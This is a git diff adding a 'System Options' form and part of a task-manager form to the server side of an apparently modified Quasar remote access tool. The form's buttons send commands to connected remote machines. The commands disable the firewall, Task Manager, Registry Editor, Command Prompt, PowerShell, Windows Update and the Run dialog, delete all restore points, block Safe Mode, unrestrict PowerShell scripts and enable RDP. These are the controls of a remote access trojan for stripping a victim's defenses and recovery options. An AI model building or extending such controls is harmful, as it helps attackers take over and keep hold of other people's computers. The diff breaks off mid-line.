System.Drawing.Color.White; + this.btnEnableTaskMgr.Location = new System.Drawing.Point(12, 28); this.btnEnableTaskMgr.Size = new System.Drawing.Size(110, 44); + this.btnEnableTaskMgr.Text = "Enable"; this.btnEnableTaskMgr.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnEnableTaskMgr.BackColor = System.Drawing.Color.Transparent; this.btnEnableTaskMgr.ForeColor = System.Drawing.Color.White; + this.btnEnableTaskMgr.UseVisualStyleBackColor = false; this.btnEnableTaskMgr.Click += new System.EventHandler(this.btnEnableTaskMgr_Click); + this.btnDisableTaskMgr.Location = new System.Drawing.Point(132, 28); this.btnDisableTaskMgr.Size = new System.Drawing.Size(110, 44); + this.btnDisableTaskMgr.Text = "Disable"; this.btnDisableTaskMgr.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDisableTaskMgr.BackColor = System.Drawing.Color.Transparent; this.btnDisableTaskMgr.ForeColor = System.Drawing.Color.White; + this.btnDisableTaskMgr.UseVisualStyleBackColor = false; this.btnDisableTaskMgr.Click += new System.EventHandler(this.btnDisableTaskMgr_Click); + // ROW0 COL2 - Command Prompt + this.groupCmd.Controls.Add(this.btnEnableCmd); + this.groupCmd.Controls.Add(this.btnDisableCmd); + this.groupCmd.Location = new System.Drawing.Point(556, 12); + this.groupCmd.Size = new System.Drawing.Size(260, 90); + this.groupCmd.TabIndex = 2; this.groupCmd.TabStop = false; + this.groupCmd.Text = "Command Prompt"; this.groupCmd.ForeColor = System.Drawing.Color.White; + this.btnEnableCmd.Location = new System.Drawing.Point(12, 28); this.btnEnableCmd.Size = new System.Drawing.Size(110, 44); + this.btnEnableCmd.Text = "Enable"; this.btnEnableCmd.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnEnableCmd.BackColor = System.Drawing.Color.Transparent; this.btnEnableCmd.ForeColor = System.Drawing.Color.White; + this.btnEnableCmd.UseVisualStyleBackColor = false; this.btnEnableCmd.Click += new System.EventHandler(this.btnEnableCmd_Click); + this.btnDisableCmd.Location = new System.Drawing.Point(132, 28); this.btnDisableCmd.Size = new System.Drawing.Size(110, 44); + this.btnDisableCmd.Text = "Disable"; this.btnDisableCmd.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDisableCmd.BackColor = System.Drawing.Color.Transparent; this.btnDisableCmd.ForeColor = System.Drawing.Color.White; + this.btnDisableCmd.UseVisualStyleBackColor = false; this.btnDisableCmd.Click += new System.EventHandler(this.btnDisableCmd_Click); + // ROW1 COL0 - Firewall + this.groupFirewall.Controls.Add(this.btnEnableFirewall); + this.groupFirewall.Controls.Add(this.btnDisableFirewall); + this.groupFirewall.Location = new System.Drawing.Point(12, 114); + this.groupFirewall.Size = new System.Drawing.Size(260, 90); + this.groupFirewall.TabIndex = 3; this.groupFirewall.TabStop = false; + this.groupFirewall.Text = "Firewall"; this.groupFirewall.ForeColor = System.Drawing.Color.White; + this.btnEnableFirewall.Location = new System.Drawing.Point(12, 28); this.btnEnableFirewall.Size = new System.Drawing.Size(110, 44); + this.btnEnableFirewall.Text = "Enable"; this.btnEnableFirewall.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnEnableFirewall.BackColor = System.Drawing.Color.Transparent; this.btnEnableFirewall.ForeColor = System.Drawing.Color.White; + this.btnEnableFirewall.UseVisualStyleBackColor = false; this.btnEnableFirewall.Click += new System.EventHandler(this.btnEnableFirewall_Click); + this.btnDisableFirewall.Location = new System.Drawing.Point(132, 28); this.btnDisableFirewall.Size = new System.Drawing.Size(110, 44); + this.btnDisableFirewall.Text = "Disable"; this.btnDisableFirewall.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDisableFirewall.BackColor = System.Drawing.Color.Transparent; this.btnDisableFirewall.ForeColor = System.Drawing.Color.White; + this.btnDisableFirewall.UseVisualStyleBackColor = false; this.btnDisableFirewall.Click += new System.EventHandler(this.btnDisableFirewall_Click); + // ROW1 COL1 - Restore Points + this.groupRestorePoints.Controls.Add(this.btnDeleteRestorePoints); + this.groupRestorePoints.Location = new System.Drawing.Point(284, 114); + this.groupRestorePoints.Size = new System.Drawing.Size(260, 90); + this.groupRestorePoints.TabIndex = 4; this.groupRestorePoints.TabStop = false; + this.groupRestorePoints.Text = "Restore Points"; this.groupRestorePoints.ForeColor = System.Drawing.Color.White; + this.btnDeleteRestorePoints.Location = new System.Drawing.Point(12, 28); this.btnDeleteRestorePoints.Size = new System.Drawing.Size(232, 44); + this.btnDeleteRestorePoints.Text = "Delete All"; this.btnDeleteRestorePoints.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDeleteRestorePoints.BackColor = System.Drawing.Color.Transparent; this.btnDeleteRestorePoints.ForeColor = System.Drawing.Color.White; + this.btnDeleteRestorePoints.UseVisualStyleBackColor = false; this.btnDeleteRestorePoints.Click += new System.EventHandler(this.btnDeleteRestorePoints_Click); + // ROW1 COL2 - PowerShell + this.groupPowerShell.Controls.Add(this.btnEnablePowerShell); + this.groupPowerShell.Controls.Add(this.btnDisablePowerShell); + this.groupPowerShell.Location = new System.Drawing.Point(556, 114); + this.groupPowerShell.Size = new System.Drawing.Size(260, 90); + this.groupPowerShell.TabIndex = 5; this.groupPowerShell.TabStop = false; + this.groupPowerShell.Text = "PowerShell"; this.groupPowerShell.ForeColor = System.Drawing.Color.White; + this.btnEnablePowerShell.Location = new System.Drawing.Point(12, 28); this.btnEnablePowerShell.Size = new System.Drawing.Size(110, 44); + this.btnEnablePowerShell.Text = "Enable"; this.btnEnablePowerShell.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnEnablePowerShell.BackColor = System.Drawing.Color.Transparent; this.btnEnablePowerShell.ForeColor = System.Drawing.Color.White; + this.btnEnablePowerShell.UseVisualStyleBackColor = false; this.btnEnablePowerShell.Click += new System.EventHandler(this.btnEnablePowerShell_Click); + this.btnDisablePowerShell.Location = new System.Drawing.Point(132, 28); this.btnDisablePowerShell.Size = new System.Drawing.Size(110, 44); + this.btnDisablePowerShell.Text = "Disable"; this.btnDisablePowerShell.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDisablePowerShell.BackColor = System.Drawing.Color.Transparent; this.btnDisablePowerShell.ForeColor = System.Drawing.Color.White; + this.btnDisablePowerShell.UseVisualStyleBackColor = false; this.btnDisablePowerShell.Click += new System.EventHandler(this.btnDisablePowerShell_Click); + // ROW2 COL0 - PS Script Execution + this.groupPsExec.Controls.Add(this.btnEnablePsExec); + this.groupPsExec.Controls.Add(this.btnDisablePsExec); + this.groupPsExec.Location = new System.Drawing.Point(12, 216); + this.groupPsExec.Size = new System.Drawing.Size(260, 90); + this.groupPsExec.TabIndex = 6; this.groupPsExec.TabStop = false; + this.groupPsExec.Text = "PS Script Execution"; this.groupPsExec.ForeColor = System.Drawing.Color.White; + this.btnEnablePsExec.Location = new System.Drawing.Point(12, 28); this.btnEnablePsExec.Size = new System.Drawing.Size(110, 44); + this.btnEnablePsExec.Text = "Unrestrict"; this.btnEnablePsExec.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnEnablePsExec.BackColor = System.Drawing.Color.Transparent; this.btnEnablePsExec.ForeColor = System.Drawing.Color.White; + this.btnEnablePsExec.UseVisualStyleBackColor = false; this.btnEnablePsExec.Click += new System.EventHandler(this.btnEnablePsExec_Click); + this.btnDisablePsExec.Location = new System.Drawing.Point(132, 28); this.btnDisablePsExec.Size = new System.Drawing.Size(110, 44); + this.btnDisablePsExec.Text = "Restrict"; this.btnDisablePsExec.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDisablePsExec.BackColor = System.Drawing.Color.Transparent; this.btnDisablePsExec.ForeColor = System.Drawing.Color.White; + this.btnDisablePsExec.UseVisualStyleBackColor = false; this.btnDisablePsExec.Click += new System.EventHandler(this.btnDisablePsExec_Click); + // ROW2 COL1 - Windows Update + this.groupWinUpdate.Controls.Add(this.btnEnableWinUpdate); + this.groupWinUpdate.Controls.Add(this.btnDisableWinUpdate); + this.groupWinUpdate.Location = new System.Drawing.Point(284, 216); + this.groupWinUpdate.Size = new System.Drawing.Size(260, 90); + this.groupWinUpdate.TabIndex = 7; this.groupWinUpdate.TabStop = false; + this.groupWinUpdate.Text = "Windows Update"; this.groupWinUpdate.ForeColor = System.Drawing.Color.White; + this.btnEnableWinUpdate.Location = new System.Drawing.Point(12, 28); this.btnEnableWinUpdate.Size = new System.Drawing.Size(110, 44); + this.btnEnableWinUpdate.Text = "Enable"; this.btnEnableWinUpdate.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnEnableWinUpdate.BackColor = System.Drawing.Color.Transparent; this.btnEnableWinUpdate.ForeColor = System.Drawing.Color.White; + this.btnEnableWinUpdate.UseVisualStyleBackColor = false; this.btnEnableWinUpdate.Click += new System.EventHandler(this.btnEnableWinUpdate_Click); + this.btnDisableWinUpdate.Location = new System.Drawing.Point(132, 28); this.btnDisableWinUpdate.Size = new System.Drawing.Size(110, 44); + this.btnDisableWinUpdate.Text = "Disable"; this.btnDisableWinUpdate.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDisableWinUpdate.BackColor = System.Drawing.Color.Transparent; this.btnDisableWinUpdate.ForeColor = System.Drawing.Color.White; + this.btnDisableWinUpdate.UseVisualStyleBackColor = false; this.btnDisableWinUpdate.Click += new System.EventHandler(this.btnDisableWinUpdate_Click); + // ROW2 COL2 - RDP + this.groupRdp.Controls.Add(this.btnEnableRdp); + this.groupRdp.Controls.Add(this.btnDisableRdp); + this.groupRdp.Location = new System.Drawing.Point(556, 216); + this.groupRdp.Size = new System.Drawing.Size(260, 90); + this.groupRdp.TabIndex = 8; this.groupRdp.TabStop = false; + this.groupRdp.Text = "Remote Desktop (RDP)"; this.groupRdp.ForeColor = System.Drawing.Color.White; + this.btnEnableRdp.Location = new System.Drawing.Point(12, 28); this.btnEnableRdp.Size = new System.Drawing.Size(110, 44); + this.btnEnableRdp.Text = "Enable"; this.btnEnableRdp.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnEnableRdp.BackColor = System.Drawing.Color.Transparent; this.btnEnableRdp.ForeColor = System.Drawing.Color.White; + this.btnEnableRdp.UseVisualStyleBackColor = false; this.btnEnableRdp.Click += new System.EventHandler(this.btnEnableRdp_Click); + this.btnDisableRdp.Location = new System.Drawing.Point(132, 28); this.btnDisableRdp.Size = new System.Drawing.Size(110, 44); + this.btnDisableRdp.Text = "Disable"; this.btnDisableRdp.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDisableRdp.BackColor = System.Drawing.Color.Transparent; this.btnDisableRdp.ForeColor = System.Drawing.Color.White; + this.btnDisableRdp.UseVisualStyleBackColor = false; this.btnDisableRdp.Click += new System.EventHandler(this.btnDisableRdp_Click); + // ROW3 COL0 - USB Storage + this.groupUsb.Controls.Add(this.btnEnableUsb); + this.groupUsb.Controls.Add(this.btnDisableUsb); + this.groupUsb.Location = new System.Drawing.Point(12, 318); + this.groupUsb.Size = new System.Drawing.Size(260, 90); + this.groupUsb.TabIndex = 9; this.groupUsb.TabStop = false; + this.groupUsb.Text = "USB Storage"; this.groupUsb.ForeColor = System.Drawing.Color.White; + this.btnEnableUsb.Location = new System.Drawing.Point(12, 28); this.btnEnableUsb.Size = new System.Drawing.Size(110, 44); + this.btnEnableUsb.Text = "Enable"; this.btnEnableUsb.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnEnableUsb.BackColor = System.Drawing.Color.Transparent; this.btnEnableUsb.ForeColor = System.Drawing.Color.White; + this.btnEnableUsb.UseVisualStyleBackColor = false; this.btnEnableUsb.Click += new System.EventHandler(this.btnEnableUsb_Click); + this.btnDisableUsb.Location = new System.Drawing.Point(132, 28); this.btnDisableUsb.Size = new System.Drawing.Size(110, 44); + this.btnDisableUsb.Text = "Disable"; this.btnDisableUsb.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDisableUsb.BackColor = System.Drawing.Color.Transparent; this.btnDisableUsb.ForeColor = System.Drawing.Color.White; + this.btnDisableUsb.UseVisualStyleBackColor = false; this.btnDisableUsb.Click += new System.EventHandler(this.btnDisableUsb_Click); + // ROW3 COL1 - Control Panel + this.groupControlPanel.Controls.Add(this.btnEnableControlPanel); + this.groupControlPanel.Controls.Add(this.btnDisableControlPanel); + this.groupControlPanel.Location = new System.Drawing.Point(284, 318); + this.groupControlPanel.Size = new System.Drawing.Size(260, 90); + this.groupControlPanel.TabIndex = 10; this.groupControlPanel.TabStop = false; + this.groupControlPanel.Text = "Control Panel"; this.groupControlPanel.ForeColor = System.Drawing.Color.White; + this.btnEnableControlPanel.Location = new System.Drawing.Point(12, 28); this.btnEnableControlPanel.Size = new System.Drawing.Size(110, 44); + this.btnEnableControlPanel.Text = "Enable"; this.btnEnableControlPanel.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnEnableControlPanel.BackColor = System.Drawing.Color.Transparent; this.btnEnableControlPanel.ForeColor = System.Drawing.Color.White; + this.btnEnableControlPanel.UseVisualStyleBackColor = false; this.btnEnableControlPanel.Click += new System.EventHandler(this.btnEnableControlPanel_Click); + this.btnDisableControlPanel.Location = new System.Drawing.Point(132, 28); this.btnDisableControlPanel.Size = new System.Drawing.Size(110, 44); + this.btnDisableControlPanel.Text = "Disable"; this.btnDisableControlPanel.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDisableControlPanel.BackColor = System.Drawing.Color.Transparent; this.btnDisableControlPanel.ForeColor = System.Drawing.Color.White; + this.btnDisableControlPanel.UseVisualStyleBackColor = false; this.btnDisableControlPanel.Click += new System.EventHandler(this.btnDisableControlPanel_Click); + // ROW3 COL2 - Run Dialog + this.groupRunDialog.Controls.Add(this.btnEnableRunDialog); + this.groupRunDialog.Controls.Add(this.btnDisableRunDialog); + this.groupRunDialog.Location = new System.Drawing.Point(556, 318); + this.groupRunDialog.Size = new System.Drawing.Size(260, 90); + this.groupRunDialog.TabIndex = 11; this.groupRunDialog.TabStop = false; + this.groupRunDialog.Text = "Run Dialog"; this.groupRunDialog.ForeColor = System.Drawing.Color.White; + this.btnEnableRunDialog.Location = new System.Drawing.Point(12, 28); this.btnEnableRunDialog.Size = new System.Drawing.Size(110, 44); + this.btnEnableRunDialog.Text = "Enable"; this.btnEnableRunDialog.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnEnableRunDialog.BackColor = System.Drawing.Color.Transparent; this.btnEnableRunDialog.ForeColor = System.Drawing.Color.White; + this.btnEnableRunDialog.UseVisualStyleBackColor = false; this.btnEnableRunDialog.Click += new System.EventHandler(this.btnEnableRunDialog_Click); + this.btnDisableRunDialog.Location = new System.Drawing.Point(132, 28); this.btnDisableRunDialog.Size = new System.Drawing.Size(110, 44); + this.btnDisableRunDialog.Text = "Disable"; this.btnDisableRunDialog.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDisableRunDialog.BackColor = System.Drawing.Color.Transparent; this.btnDisableRunDialog.ForeColor = System.Drawing.Color.White; + this.btnDisableRunDialog.UseVisualStyleBackColor = false; this.btnDisableRunDialog.Click += new System.EventHandler(this.btnDisableRunDialog_Click); + // ROW4 COL0 - Safe Mode Boot + this.groupSafeMode.Controls.Add(this.btnAllowSafeMode); + this.groupSafeMode.Controls.Add(this.btnBlockSafeMode); + this.groupSafeMode.Location = new System.Drawing.Point(12, 420); + this.groupSafeMode.Size = new System.Drawing.Size(260, 90); + this.groupSafeMode.TabIndex = 12; this.groupSafeMode.TabStop = false; + this.groupSafeMode.Text = "Safe Mode Boot"; this.groupSafeMode.ForeColor = System.Drawing.Color.White; + this.btnAllowSafeMode.Location = new System.Drawing.Point(12, 28); this.btnAllowSafeMode.Size = new System.Drawing.Size(110, 44); + this.btnAllowSafeMode.Text = "Allow"; this.btnAllowSafeMode.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnAllowSafeMode.BackColor = System.Drawing.Color.Transparent; this.btnAllowSafeMode.ForeColor = System.Drawing.Color.White; + this.btnAllowSafeMode.UseVisualStyleBackColor = false; this.btnAllowSafeMode.Click += new System.EventHandler(this.btnAllowSafeMode_Click); + this.btnBlockSafeMode.Location = new System.Drawing.Point(132, 28); this.btnBlockSafeMode.Size = new System.Drawing.Size(110, 44); + this.btnBlockSafeMode.Text = "Block"; this.btnBlockSafeMode.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnBlockSafeMode.BackColor = System.Drawing.Color.Transparent; this.btnBlockSafeMode.ForeColor = System.Drawing.Color.White; + this.btnBlockSafeMode.UseVisualStyleBackColor = false; this.btnBlockSafeMode.Click += new System.EventHandler(this.btnBlockSafeMode_Click); + // Log TextBox + this.txtLog.BackColor = System.Drawing.Color.Black; + this.txtLog.Font = new System.Drawing.Font("Consolas", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.txtLog.ForeColor = System.Drawing.Color.White; + this.txtLog.Location = new System.Drawing.Point(12, 522); + this.txtLog.Multiline = true; this.txtLog.Name = "txtLog"; this.txtLog.ReadOnly = true; + this.txtLog.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.txtLog.Size = new System.Drawing.Size(804, 160); this.txtLog.TabIndex = 13; + // Form + this.AutoScaleDimensions = new System.Drawing.SizeF(8F, 16F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(828, 694); + this.Controls.Add(this.txtLog); + this.Controls.Add(this.groupSafeMode); + this.Controls.Add(this.groupRunDialog); + this.Controls.Add(this.groupControlPanel); + this.Controls.Add(this.groupUsb); + this.Controls.Add(this.groupRdp); + this.Controls.Add(this.groupWinUpdate); + this.Controls.Add(this.groupPsExec); + this.Controls.Add(this.groupPowerShell); + this.Controls.Add(this.groupRestorePoints); + this.Controls.Add(this.groupFirewall); + this.Controls.Add(this.groupCmd); + this.Controls.Add(this.groupTaskMgr); + this.Controls.Add(this.groupRegistry); + this.ForeColor = System.Drawing.Color.White; + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.MaximizeBox = false; + this.Name = "FrmSystemOptions"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "System Options"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmSystemOptions_FormClosing); + this.Load += new System.EventHandler(this.FrmSystemOptions_Load); + this.groupRegistry.ResumeLayout(false); + this.groupTaskMgr.ResumeLayout(false); + this.groupCmd.ResumeLayout(false); + this.groupFirewall.ResumeLayout(false); + this.groupRestorePoints.ResumeLayout(false); + this.groupPowerShell.ResumeLayout(false); + this.groupPsExec.ResumeLayout(false); + this.groupWinUpdate.ResumeLayout(false); + this.groupRdp.ResumeLayout(false); + this.groupUsb.ResumeLayout(false); + this.groupControlPanel.ResumeLayout(false); + this.groupRunDialog.ResumeLayout(false); + this.groupSafeMode.ResumeLayout(false); + this.ResumeLayout(false); + this.PerformLayout(); + } + #endregion + private System.Windows.Forms.GroupBox groupRegistry; + private System.Windows.Forms.GroupBox groupTaskMgr; + private System.Windows.Forms.GroupBox groupCmd; + private System.Windows.Forms.GroupBox groupFirewall; + private System.Windows.Forms.GroupBox groupRestorePoints; + private System.Windows.Forms.GroupBox groupPowerShell; + private System.Windows.Forms.GroupBox groupPsExec; + private System.Windows.Forms.GroupBox groupWinUpdate; + private System.Windows.Forms.GroupBox groupRdp; + private System.Windows.Forms.GroupBox groupUsb; + private System.Windows.Forms.GroupBox groupControlPanel; + private System.Windows.Forms.GroupBox groupRunDialog; + private System.Windows.Forms.GroupBox groupSafeMode; + private System.Windows.Forms.Button btnEnableRegistry; + private System.Windows.Forms.Button btnDisableRegistry; + private System.Windows.Forms.Button btnEnableTaskMgr; + private System.Windows.Forms.Button btnDisableTaskMgr; + private System.Windows.Forms.Button btnEnableCmd; + private System.Windows.Forms.Button btnDisableCmd; + private System.Windows.Forms.Button btnEnableFirewall; + private System.Windows.Forms.Button btnDisableFirewall; + private System.Windows.Forms.Button btnDeleteRestorePoints; + private System.Windows.Forms.Button btnEnablePowerShell; + private System.Windows.Forms.Button btnDisablePowerShell; + private System.Windows.Forms.Button btnEnablePsExec; + private System.Windows.Forms.Button btnDisablePsExec; + private System.Windows.Forms.Button btnEnableWinUpdate; + private System.Windows.Forms.Button btnDisableWinUpdate; + private System.Windows.Forms.Button btnEnableRdp; + private System.Windows.Forms.Button btnDisableRdp; + private System.Windows.Forms.Button btnEnableUsb; + private System.Windows.Forms.Button btnDisableUsb; + private System.Windows.Forms.Button btnEnableControlPanel; + private System.Windows.Forms.Button btnDisableControlPanel; + private System.Windows.Forms.Button btnEnableRunDialog; + private System.Windows.Forms.Button btnDisableRunDialog; + private System.Windows.Forms.Button btnAllowSafeMode; + private System.Windows.Forms.Button btnBlockSafeMode; + private System.Windows.Forms.TextBox txtLog; + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemOptions.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemOptions.cs new file mode 100755 index 0000000..7a649ba --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemOptions.cs @@ -0,0 +1,218 @@ +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; +using System; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmSystemOptions : Form + { + private readonly Client _connectClient; + public static FrmSystemOptions Instance { get; private set; } + + public FrmSystemOptions(Client client) + { + _connectClient = client; + Instance = this; + InitializeComponent(); + } + + private void FrmSystemOptions_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = $"System Options - {_connectClient.Value.Tag}"; + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Connected to {_connectClient.Value.Tag}\r\n"); + } + + private void FrmSystemOptions_FormClosing(object sender, FormClosingEventArgs e) + { + Instance = null; + } + + private void btnEnableRegistry_Click(object sender, EventArgs e) + { + SendOption("REGISTRY", true); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling Registry Editor...\r\n"); + } + + private void btnDisableRegistry_Click(object sender, EventArgs e) + { + SendOption("REGISTRY", false); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling Registry Editor...\r\n"); + } + + private void btnEnableTaskMgr_Click(object sender, EventArgs e) + { + SendOption("TASKMGR", true); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling Task Manager...\r\n"); + } + + private void btnDisableTaskMgr_Click(object sender, EventArgs e) + { + SendOption("TASKMGR", false); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling Task Manager...\r\n"); + } + + private void btnEnableCmd_Click(object sender, EventArgs e) + { + SendOption("CMD", true); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling Command Prompt...\r\n"); + } + + private void btnDisableCmd_Click(object sender, EventArgs e) + { + SendOption("CMD", false); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling Command Prompt...\r\n"); + } + + private void btnEnableFirewall_Click(object sender, EventArgs e) + { + SendOption("FIREWALL", true); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling Firewall...\r\n"); + } + + private void btnDisableFirewall_Click(object sender, EventArgs e) + { + SendOption("FIREWALL", false); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling Firewall...\r\n"); + } + + private void btnDeleteRestorePoints_Click(object sender, EventArgs e) + { + DialogResult result = MessageBox.Show( + "Are you sure you want to delete all restore points? This cannot be undone.", + "Confirm Delete", + MessageBoxButtons.YesNo, + MessageBoxIcon.Warning); + + if (result == DialogResult.Yes) + { + SendOption("RESTOREPOINTS", false); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Deleting Restore Points...\r\n"); + } + } + + private void btnEnablePowerShell_Click(object sender, EventArgs e) + { + SendOption("POWERSHELL", true); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling PowerShell...\r\n"); + } + + private void btnDisablePowerShell_Click(object sender, EventArgs e) + { + SendOption("POWERSHELL", false); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling PowerShell...\r\n"); + } + + private void btnEnablePsExec_Click(object sender, EventArgs e) + { + SendOption("PSEXECUTION", true); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling PS Script Execution...\r\n"); + } + + private void btnDisablePsExec_Click(object sender, EventArgs e) + { + SendOption("PSEXECUTION", false); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Restricting PS Script Execution...\r\n"); + } + + private void btnEnableWinUpdate_Click(object sender, EventArgs e) + { + SendOption("WINDOWSUPDATE", true); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling Windows Update...\r\n"); + } + + private void btnDisableWinUpdate_Click(object sender, EventArgs e) + { + SendOption("WINDOWSUPDATE", false); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling Windows Update...\r\n"); + } + + private void btnEnableRdp_Click(object sender, EventArgs e) + { + SendOption("RDP", true); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling Remote Desktop...\r\n"); + } + + private void btnDisableRdp_Click(object sender, EventArgs e) + { + SendOption("RDP", false); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling Remote Desktop...\r\n"); + } + + private void btnEnableUsb_Click(object sender, EventArgs e) + { + SendOption("USB", true); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling USB Storage...\r\n"); + } + + private void btnDisableUsb_Click(object sender, EventArgs e) + { + SendOption("USB", false); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling USB Storage...\r\n"); + } + + private void btnEnableControlPanel_Click(object sender, EventArgs e) + { + SendOption("CONTROLPANEL", true); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling Control Panel...\r\n"); + } + + private void btnDisableControlPanel_Click(object sender, EventArgs e) + { + SendOption("CONTROLPANEL", false); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling Control Panel...\r\n"); + } + + private void btnEnableRunDialog_Click(object sender, EventArgs e) + { + SendOption("RUNDIALOG", true); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling Run Dialog...\r\n"); + } + + private void btnDisableRunDialog_Click(object sender, EventArgs e) + { + SendOption("RUNDIALOG", false); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling Run Dialog...\r\n"); + } + + private void btnAllowSafeMode_Click(object sender, EventArgs e) + { + SendOption("SAFEMODE", true); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Allowing Safe Mode Boot...\r\n"); + } + + private void btnBlockSafeMode_Click(object sender, EventArgs e) + { + SendOption("SAFEMODE", false); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Blocking Safe Mode Boot...\r\n"); + } + + private void SendOption(string option, bool enable) + { + _connectClient.Send(new DoSystemOption + { + Option = option, + Enable = enable + }); + } + + public void HandleResponse(Client client, SystemOptionResponse response) + { + if (InvokeRequired) + { + Invoke(new Action(() => HandleResponse(client, response))); + return; + } + + string status = response.Success ? "SUCCESS" : "FAILED"; + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] {status}: {response.Message}\r\n"); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemOptions.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemOptions.resx new file mode 100755 index 0000000..d58980a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemOptions.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmTaskManager.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmTaskManager.Designer.cs new file mode 100755 index 0000000..4200d3f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmTaskManager.Designer.cs @@ -0,0 +1,249 @@ +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms +{ + partial class FrmTaskManager + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + Quasar.Server.Utilities.ListViewColumnSorter listViewColumnSorter1 = new Quasar.Server.Utilities.ListViewColumnSorter(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmTaskManager)); + this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); + this.killProcessToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.startProcessToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.lineToolStripMenuItem = new System.Windows.Forms.ToolStripSeparator(); + this.refreshToolStripMenuItem = new 